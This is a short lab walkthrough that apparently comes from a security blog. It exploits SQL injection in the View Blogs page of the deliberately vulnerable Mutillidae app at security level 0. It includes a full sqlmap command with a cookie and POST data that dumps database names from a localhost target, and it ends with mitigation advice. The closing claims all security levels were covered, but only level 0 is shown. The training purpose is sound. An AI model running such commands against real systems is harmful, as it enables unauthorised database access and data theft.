Mutillidae - Sqlmap Practice (View Blogs)

Mutillidae – Sqlmap Practice (View Blogs)

In this walk through, we will be going through the Sqlmap Practice (View Blogs) vulnerability section from Mutillidae Labs. We will be exploring and exploiting SQL Injection with Sqlmap in View Blogs utility and learn how application are affected because of it. So, let’s get started with the Hacking without any delay.

Sqlmap Practice (View Blogs)

Security Level: 0 (Hosed)

  • Setting the security level to 0 or Hosed.

Security level 0

  • The application has a drop down functionality to view the blog entries by selecting the user.

View Blogs

  • I intercepted the request via Burpsuite and it uses POST request to view-someones-blog.php file with author parameter.

Burpsuite intercept

Select Author

  • I used the below sqlmap command to dump the databases names.

sqlmap -u http://localhost/mutillidae/index.php?page=view-someones-blog.php --cookie="showhints=1; PHPSESSID=3h43mts2lb9kodgefnbn2b25a0" --data="author=admin&view-someones-blog-php-submit-button=View+Blog+Entries" --dbs

sqlmap dump

Also Read: Mutillidae – SQLi via JSON (Pentest Tool lookup AJAX)



So, we finally completed all the security levels for the Mutillidae Sqlmap Practice (View Blogs) Vulnerability. We looked into the various ways how application has been set up in various levels and how we can bypass the security controls implemented. Next, we can mitigate the potential SQL Injection attacks by performing input sanitization and using prepared statements or parametrized queries for every SQL query made by the application to the database. On that note, i will take your leave and will meet you in next one with another Mutillidae vulnerability writeup, till then “Keep Hacking”.

Leave a Comment

Your email address will not be published. Required fields are marked *

Scroll to Top